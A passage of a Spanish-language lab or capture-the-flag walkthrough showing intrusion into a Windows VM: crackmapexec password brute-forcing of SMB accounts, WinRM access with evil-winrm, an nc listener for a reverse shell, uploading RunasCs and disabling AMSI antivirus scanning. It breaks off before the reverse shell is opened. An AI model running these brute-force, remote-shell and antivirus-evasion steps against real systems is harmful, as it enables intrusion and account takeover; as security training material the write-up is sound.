<p>Una vez hecho esto , intentaremos hacer un ataque de fuerza bruta al recurso SMB con el usuario encontrado anteriormente <strong>nica</strong></p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
  <span class="err">└─</span><span class="c1"># crackmapexec smb 192.168.56.102 -u nica -p /usr/share/wordlists/rockyou.txt</span>
    <span class="no">SMB</span>         <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="no">Windows</span> <span class="mi">10</span> <span class="o">/</span> <span class="no">Server</span> <span class="mi">2019</span> <span class="no">Build</span> <span class="mi">17763</span> <span class="n">x64</span> <span class="p">(</span><span class="nb">name</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">domain</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">signing</span><span class="ss">:False</span><span class="p">)</span> <span class="p">(</span><span class="no">SMBv1</span><span class="ss">:False</span><span class="p">)</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">nica</span><span class="p">:</span><span class="mi">123456</span> <span class="no">STATUS_LOGON_FAILURE</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">nica</span><span class="p">:</span><span class="mi">12345</span> <span class="no">STATUS_LOGON_FAILURE</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">nica</span><span class="p">:</span><span class="mi">123456789</span> <span class="no">STATUS_LOGON_FAILURE</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">nica</span><span class="ss">:password</span> <span class="no">STATUS_LOGON_FAILURE</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">nica</span><span class="ss">:realizar</span> <span class="no">STATUS_LOGON_FAILURE</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>  <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">nica</span><span class="ss">:h</span><span class="o">****</span>
</code></pre></div></div>
<p>Hemos obtenido la contraseña <code class="language-plaintext highlighter-rouge">h*****</code> despues de realizar el ataque de fuerza brut !</p>

<h2 id="recursos-compartidos">Recursos compartidos</h2>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
    <span class="err">└─$</span> <span class="n">crackmapexec</span> <span class="n">smb</span> <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span> <span class="o">-</span><span class="n">u</span> <span class="n">nica</span> <span class="o">-</span><span class="nb">p</span> <span class="n">hardcore</span> <span class="o">--</span><span class="n">shares</span>
    <span class="no">SMB</span>         <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="no">Windows</span> <span class="mi">10</span> <span class="o">/</span> <span class="no">Server</span> <span class="mi">2019</span> <span class="no">Build</span> <span class="mi">17763</span> <span class="n">x64</span> <span class="p">(</span><span class="nb">name</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">domain</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">signing</span><span class="ss">:False</span><span class="p">)</span> <span class="p">(</span><span class="no">SMBv1</span><span class="ss">:False</span><span class="p">)</span>

    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">nica</span><span class="ss">:hardcore</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Enumerated</span> <span class="n">shares</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="no">Share</span>     <span class="no">Permissions</span>     <span class="no">Remark</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="o">-----</span>     <span class="o">-----------</span>     <span class="o">------</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="no">ADMIN</span><span class="err">$</span>              <span class="no">Admin</span> <span class="n">remota</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="no">C</span><span class="err">$</span>            <span class="no">Recurso</span> <span class="n">predeterminado</span>
    <span class="no">SMB</span>   <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="no">IPC</span><span class="err">$</span>            <span class="no">READ</span>            <span class="no">IPC</span> <span class="n">remota</span>
</code></pre></div></div>

<h3 id="vemnos-que-hay-varios-recursos-compartidos">Vemnos que hay varios recursos compartidos</h3>

<p><strong>1. ADMIN$:</strong> Recurso para administración remota (por defecto, los administradores pueden acceder a él).</p>

<p><strong>2. C$:</strong> Recurso predeterminado que da acceso a la unidad C del sistema</p>

<p><strong>3. IPC$:</strong>  proporciona un mecanismo de comunicación entre procesos (IPC) autenticado .Permite realizar conexiones remotas con otros servicios, pero tiene permisos de solo lectura.</p>

<p>Veremos los recursos compartidos por defecto, por lo que no nos sirve de mucho, pero vamos a probar a conectarnos de forma remota con las credenciales que hemos encontrado, mediante el protocolo <strong>WinRM</strong>.</p>

<h1 id="winrm-windows-remote-management">WinRM (Windows Remote Management)</h1>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
    <span class="err">└─$</span> <span class="n">crackmapexec</span> <span class="n">winrm</span> <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span> <span class="o">-</span><span class="n">u</span> <span class="n">nica</span> <span class="o">-</span><span class="nb">p</span> <span class="n">hardcore</span>
    <span class="no">SMB</span>    <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">5985</span>   <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="no">Windows</span> <span class="mi">10</span> <span class="o">/</span> <span class="no">Server</span> <span class="mi">2019</span> <span class="no">Build</span> <span class="mi">17763</span> <span class="p">(</span><span class="nb">name</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">domain</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span>
    <span class="no">HTTP</span>    <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">5985</span>   <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">http</span><span class="ss">:/</span><span class="o">/</span><span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span><span class="p">:</span><span class="mi">5985</span><span class="o">/</span><span class="n">wsman</span>
    <span class="no">WINRM</span>  <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">5985</span>   <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">nica</span><span class="ss">:hardcore</span> <span class="p">(</span><span class="no">Pwn3d</span><span class="o">!</span><span class="p">)</span>
</code></pre></div></div>

<p>Vemos que ha funccionado! nos sale <strong>WIN-IURF14RBVGV\nica:hardcore (Pwn3d!)</strong></p>

<p>(Pwn3d!) → TOTAL. Has autenticado y tienes acceso remoto mediante WinRM.</p>

<p>Una vez hemos verificado que podemos conectarnos accederemos remotamente <strong>usando evil-winrm</strong></p>

<h2 id="evil-winrm">Evil-winrm</h2>

<p>Podemos simplemente conectarnos usando <strong>Evil-WinRM</strong> y obtener una <strong>PowerShell</strong> como el usuario nica.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
  <span class="err">└─$</span> <span class="n">evil</span><span class="o">-</span><span class="n">winrm</span> <span class="o">-</span><span class="n">i</span> <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span> <span class="o">-</span><span class="n">u</span> <span class="n">nica</span> <span class="o">-</span><span class="nb">p</span> <span class="n">hardcore</span>

    <span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span> <span class="n">shell</span> <span class="n">v3</span><span class="o">.</span><span class="mi">7</span>

    <span class="no">Warning</span><span class="p">:</span> <span class="no">Remote</span> <span class="n">path</span> <span class="n">completions</span> <span class="n">is</span> <span class="n">disabled</span> <span class="n">due</span> <span class="n">to</span> <span class="n">ruby</span> <span class="ss">limitation: </span><span class="n">quoting_detection_proc</span><span class="p">()</span> <span class="n">function</span> <span class="n">is</span> <span class="n">unimplemented</span> <span class="n">on</span> <span class="n">this</span> <span class="n">machine</span>

    <span class="no">Data</span><span class="p">:</span> <span class="no">For</span> <span class="n">more</span> <span class="n">information</span><span class="p">,</span> <span class="n">check</span> <span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span> <span class="no">GitHub</span><span class="p">:</span> <span class="n">https</span><span class="ss">:/</span><span class="o">/</span><span class="n">github</span><span class="p">.</span><span class="nf">com</span><span class="o">/</span><span class="no">Hackplayers</span><span class="o">/</span><span class="n">evil</span><span class="o">-</span><span class="n">winrm</span><span class="c1">#Remote-path-completion</span>

    <span class="no">Info</span><span class="p">:</span> <span class="no">Establishing</span> <span class="n">connection</span> <span class="n">to</span> <span class="n">remote</span> <span class="n">endpoint</span>
    <span class="o">*</span><span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span><span class="o">*</span> <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span><span class="p">\</span><span class="no">Documents</span><span class="o">&gt;</span> <span class="n">whoami</span>
    <span class="n">win</span><span class="o">-</span><span class="n">iurf14rbvgv</span><span class="p">\</span><span class="n">nica</span>
</code></pre></div></div>
<p>En este punto podemos leer la primera flag con dicho usuario</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
  <span class="o">*</span><span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span><span class="o">*</span> <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span><span class="o">&gt;</span> <span class="n">ls</span>

  <span class="no">Directorio</span><span class="p">:</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span>

    <span class="no">Mode</span>                <span class="no">LastWriteTime</span>         <span class="no">Length</span> <span class="no">Name</span>
    <span class="o">----</span>                <span class="o">-------------</span>         <span class="o">------</span> <span class="o">----</span>
    <span class="n">d</span><span class="o">-</span><span class="n">r</span><span class="o">---</span>        <span class="mi">9</span><span class="o">/</span><span class="mi">15</span><span class="o">/</span><span class="mi">2018</span>   <span class="mi">9</span><span class="p">:</span><span class="mi">12</span> <span class="no">AM</span>                <span class="no">Desktop</span>
    <span class="n">d</span><span class="o">-</span><span class="n">r</span><span class="o">---</span>        <span class="mi">9</span><span class="o">/</span><span class="mi">26</span><span class="o">/</span><span class="mi">2023</span>   <span class="mi">6</span><span class="p">:</span><span class="mi">44</span> <span class="no">PM</span>                <span class="no">Documents</span>
    <span class="n">d</span><span class="o">-</span><span class="n">r</span><span class="o">---</span>        <span class="mi">9</span><span class="o">/</span><span class="mi">15</span><span class="o">/</span><span class="mi">2018</span>   <span class="mi">9</span><span class="p">:</span><span class="mi">12</span> <span class="no">AM</span>                <span class="no">Downloads</span>
    <span class="n">d</span><span class="o">-</span><span class="n">r</span><span class="o">---</span>        <span class="mi">9</span><span class="o">/</span><span class="mi">15</span><span class="o">/</span><span class="mi">2018</span>   <span class="mi">9</span><span class="p">:</span><span class="mi">12</span> <span class="no">AM</span>                <span class="no">Favorites</span>
    <span class="n">d</span><span class="o">-</span><span class="n">r</span><span class="o">---</span>        <span class="mi">9</span><span class="o">/</span><span class="mi">15</span><span class="o">/</span><span class="mi">2018</span>   <span class="mi">9</span><span class="p">:</span><span class="mi">12</span> <span class="no">AM</span>                <span class="no">Links</span>
    <span class="n">d</span><span class="o">-</span><span class="n">r</span><span class="o">---</span>        <span class="mi">9</span><span class="o">/</span><span class="mi">15</span><span class="o">/</span><span class="mi">2018</span>   <span class="mi">9</span><span class="p">:</span><span class="mi">12</span> <span class="no">AM</span>                <span class="no">Music</span>
    <span class="n">d</span><span class="o">-</span><span class="n">r</span><span class="o">---</span>        <span class="mi">9</span><span class="o">/</span><span class="mi">15</span><span class="o">/</span><span class="mi">2018</span>   <span class="mi">9</span><span class="p">:</span><span class="mi">12</span> <span class="no">AM</span>                <span class="no">Pictures</span>
    <span class="n">d</span><span class="o">-----</span>        <span class="mi">9</span><span class="o">/</span><span class="mi">15</span><span class="o">/</span><span class="mi">2018</span>   <span class="mi">9</span><span class="p">:</span><span class="mi">12</span> <span class="no">AM</span>                <span class="no">Saved</span> <span class="no">Games</span>
    <span class="n">d</span><span class="o">-</span><span class="n">r</span><span class="o">---</span>        <span class="mi">9</span><span class="o">/</span><span class="mi">15</span><span class="o">/</span><span class="mi">2018</span>   <span class="mi">9</span><span class="p">:</span><span class="mi">12</span> <span class="no">AM</span>                <span class="no">Videos</span>
    <span class="o">-</span><span class="n">a</span><span class="o">----</span>        <span class="mi">9</span><span class="o">/</span><span class="mi">26</span><span class="o">/</span><span class="mi">2023</span>   <span class="mi">6</span><span class="p">:</span><span class="mi">44</span> <span class="no">PM</span>             <span class="mi">10</span> <span class="n">user</span><span class="p">.</span><span class="nf">txt</span>
      
  <span class="o">*</span><span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span><span class="o">*</span> <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span><span class="o">&gt;</span> <span class="n">cat</span> <span class="n">user</span><span class="p">.</span><span class="nf">txt</span>
   <span class="no">H</span><span class="o">******</span>
</code></pre></div></div>
<p>Ahora podemos observar varias cosas, pero en lo que nos centraremos es en que hay un usuario administrador llamado <strong>akanksha.</strong></p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="o">*</span><span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span><span class="o">*</span> <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span><span class="o">&gt;</span> <span class="n">net</span> <span class="n">users</span>

  <span class="no">Cuentas</span> <span class="n">de</span> <span class="n">usuario</span> <span class="n">de</span> <span class="p">\\</span>

  <span class="o">-------------------------------------------------------------------------------</span>
  <span class="no">Administrador</span>            <span class="n">akanksha</span>                 <span class="no">DefaultAccount</span>
  <span class="no">Invitado</span>                 <span class="n">nica</span>                     <span class="no">WDAGUtilityAccount</span>
  <span class="no">El</span> <span class="n">comando</span> <span class="n">se</span> <span class="n">ha</span> <span class="n">completado</span> <span class="n">con</span> <span class="n">uno</span> <span class="n">o</span> <span class="n">m</span><span class="err"> </span><span class="n">s</span> <span class="n">errores</span><span class="o">.</span>
</code></pre></div></div>
<h1 id="flag-de-root">Flag de root</h1>

<p>Una vez sabemos que el usuario administrador es <strong>akanksha</strong> hacemos fueza bruta como antes</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 
    <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
    <span class="err">└─$</span> <span class="c1"># crackmapexec smb 192.168.56.102 -u akanksha -p /usr/share/wordlists/rockyou.txt</span>
    <span class="no">SMB</span>         <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="no">Windows</span> <span class="mi">10</span> <span class="o">/</span> <span class="no">Server</span> <span class="mi">2019</span> <span class="no">Build</span> <span class="mi">17763</span> <span class="n">x64</span> <span class="p">(</span><span class="nb">name</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">domain</span><span class="ss">:WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">)</span> <span class="p">(</span><span class="n">signing</span><span class="ss">:False</span><span class="p">)</span> <span class="p">(</span><span class="no">SMBv1</span><span class="ss">:False</span><span class="p">)</span>
    <span class="no">SMB</span>         <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">akanksha</span><span class="ss">:jessica</span> <span class="no">STATUS_LOGON_FAILURE</span>
    <span class="no">SMB</span>         <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">akanksha</span><span class="ss">:michelle</span> <span class="no">STATUS_LOGON_FAILURE</span>
    <span class="no">SMB</span>         <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">akanksha</span><span class="ss">:tigger</span> <span class="no">STATUS_LOGON_FAILURE</span>
    <span class="no">SMB</span>         <span class="mf">192.168</span><span class="o">.</span><span class="mf">56.102</span>   <span class="mi">445</span>    <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span>  <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">WIN</span><span class="o">-</span><span class="no">IURF14RBVGV</span><span class="p">\</span><span class="n">akanksha</span><span class="ss">:sw</span><span class="o">****</span>
</code></pre></div></div>
<p>Ya hemos encontrado la contraseña, pero…</p>

<p>Aunque esta contraseña es válida para el servicio SMB, no lo es para WinRM, así que debemos pensar en otra forma de entrar.</p>

<p>Ya que tenemos una shell, podríamos pensar en usar <strong>runas</strong>, pero nuestra shell no es interactiva, por lo que podríamos importar el módulo de <a href="https://github.com/antonioCoco/RunasCs"><strong>RunasCs</strong></a> para solucionar ese problema.</p>

<h2 id="qué-es-runas">Qué es runas?</h2>
<p>Es un comando de la línea de sistemas operativos Microsoft Windows que permite a un usuario ejecutar herramientas y programas específicos bajo un nombre de usuario diferente al que utilizó para iniciar sesión en una computadora de forma interactiva</p>

<h2 id="qué-es-runascs-">Qué es RunasCs ?</h2>
<p>RunasCs es una herramienta escrita en C# que simula el comportamiento de runas, pero:</p>

<ol>
  <li>No necesita interacción directa.</li>
  <li>Puedes pasarle el usuario y la contraseña directamente por línea de comandos.</li>
  <li>Ejecuta comandos como otro usuario desde la shell remota.</li>
</ol>

<p>Nos descargamos <strong>RunasCs</strong></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  
    <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
    <span class="err">└─</span><span class="c1"># git clone https://github.com/antonioCoco/RunasCs.git</span>
    <span class="no">Cloning</span> <span class="n">into</span> <span class="s1">'RunasCs'</span><span class="o">...</span>
    <span class="ss">remote: </span><span class="no">Enumerating</span> <span class="ss">objects: </span><span class="mi">371</span><span class="p">,</span> <span class="n">done</span><span class="p">.</span>
    <span class="nf">remote</span><span class="p">:</span> <span class="no">Counting</span> <span class="ss">objects: </span><span class="mi">100</span><span class="o">%</span> <span class="p">(</span><span class="mi">206</span><span class="o">/</span><span class="mi">206</span><span class="p">),</span> <span class="n">done</span><span class="p">.</span>
    <span class="nf">remote</span><span class="p">:</span> <span class="no">Compressing</span> <span class="ss">objects: </span><span class="mi">100</span><span class="o">%</span> <span class="p">(</span><span class="mi">108</span><span class="o">/</span><span class="mi">108</span><span class="p">),</span> <span class="n">done</span><span class="p">.</span>
    <span class="nf">remote</span><span class="p">:</span> <span class="no">Total</span> <span class="mi">371</span> <span class="p">(</span><span class="n">delta</span> <span class="mi">131</span><span class="p">),</span> <span class="n">reused</span> <span class="mi">145</span> <span class="p">(</span><span class="n">delta</span> <span class="mi">98</span><span class="p">),</span> <span class="n">pack</span><span class="o">-</span><span class="n">reused</span> <span class="mi">165</span> <span class="p">(</span><span class="n">from</span> <span class="mi">1</span><span class="p">)</span>
    <span class="no">Receiving</span> <span class="ss">objects: </span><span class="mi">100</span><span class="o">%</span> <span class="p">(</span><span class="mi">371</span><span class="o">/</span><span class="mi">371</span><span class="p">),</span> <span class="mf">331.19</span> <span class="no">KiB</span> <span class="o">|</span> <span class="mf">36.00</span> <span class="no">KiB</span><span class="o">/</span><span class="n">s</span><span class="p">,</span> <span class="n">done</span><span class="o">.</span>
    <span class="no">Resolving</span> <span class="ss">deltas: </span><span class="mi">100</span><span class="o">%</span> <span class="p">(</span><span class="mi">231</span><span class="o">/</span><span class="mi">231</span><span class="p">),</span> <span class="n">done</span><span class="o">.</span>
  
</code></pre></div></div>
<p>Una vez finalizada la instalación del repositorio, nos conectaremos como el usuario <strong>nica</strong> e importaremos <strong>RunasCs</strong></p>

<p>Pero antes, nos pondremos en escucha en el puerto <strong>4444</strong>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
      <span class="err">└─</span><span class="c1"># nc -nlvp 4444</span>
      <span class="n">listening</span> <span class="n">on</span> <span class="p">[</span><span class="n">any</span><span class="p">]</span> <span class="mi">4444</span> <span class="o">...</span>
</code></pre></div></div>

<p>Ahora ya podemos conectarnos como el usuario <strong>nica</strong></p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="n">kali</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="sr">/home/use</span><span class="n">r</span><span class="p">]</span>
    <span class="err">└─</span><span class="c1"># evil-winrm -i 192.168.56.102 -u nica -p hardcore</span>

    <span class="o">*</span><span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span><span class="o">*</span> <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span><span class="p">\</span><span class="no">Documents</span><span class="o">&gt;</span> <span class="n">upload</span> <span class="sr">/home/use</span><span class="n">r</span><span class="o">/</span><span class="no">Invoke</span><span class="o">-</span><span class="no">RunasCs</span><span class="p">.</span><span class="nf">ps1</span>

    <span class="no">Info</span><span class="p">:</span> <span class="no">Uploading</span> <span class="sr">/home/use</span><span class="n">r</span><span class="o">/</span><span class="no">Invoke</span><span class="o">-</span><span class="no">RunasCs</span><span class="p">.</span><span class="nf">ps1</span> <span class="n">to</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span><span class="p">\</span><span class="no">Documents</span><span class="p">\</span><span class="no">Invoke</span><span class="o">-</span><span class="no">RunasCs</span><span class="p">.</span><span class="nf">ps1</span>

    <span class="no">Data</span><span class="p">:</span> <span class="mi">117712</span> <span class="n">bytes</span> <span class="n">of</span> <span class="mi">117712</span> <span class="n">bytes</span> <span class="n">copied</span>

    <span class="no">Info</span><span class="p">:</span> <span class="no">Upload</span> <span class="n">successful!</span>
    
    <span class="o">*</span><span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span><span class="o">*</span> <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span><span class="p">\</span><span class="no">Documents</span><span class="o">&gt;</span>

</code></pre></div></div>

<p>Si intentamos importar el modulo de Invoke-RunasCs.ps1 nos lo bloquea el antivirus.</p>

<p>AMSI (Antimalware Scan Interface) es una protección mejorada de Windows que analiza scripts y bloquea los que contienen firmas conocidas de malware.</p>

<p>Para evitar esto, entraremos a esta web y generar un bypass personalizado: <a href="https://d1se0.github.io/AMSI-Bypass-Generator/index.html"><strong>AMSI-Bypass-Generator</strong></a></p>

<p>El bypass que crearás con esta web lo que hace es Desactiva AMSI en memoria</p>

<p>Una vez desactivado el AMSI ya podemos importar los módulos de Invoke-RunasCs.ps1</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
  <span class="o">*</span><span class="no">Evil</span><span class="o">-</span><span class="no">WinRM</span><span class="o">*</span> <span class="no">PS</span> <span class="no">C</span><span class="p">:\</span><span class="no">Users</span><span class="p">\</span><span class="n">nica</span><span class="p">\</span><span class="no">Documents</span><span class="o">&gt;</span> <span class="n">import</span><span class="o">-</span><span class="n">module</span> <span class="p">.</span><span class="nf">/</span><span class="no">Invoke</span><span class="o">-</span><span class="no">RunasCs</span><span class="p">.</span><span class="nf">ps1</span>
</code></pre></div></div>
<p>Ahora nos conectaremos remotamente</p>

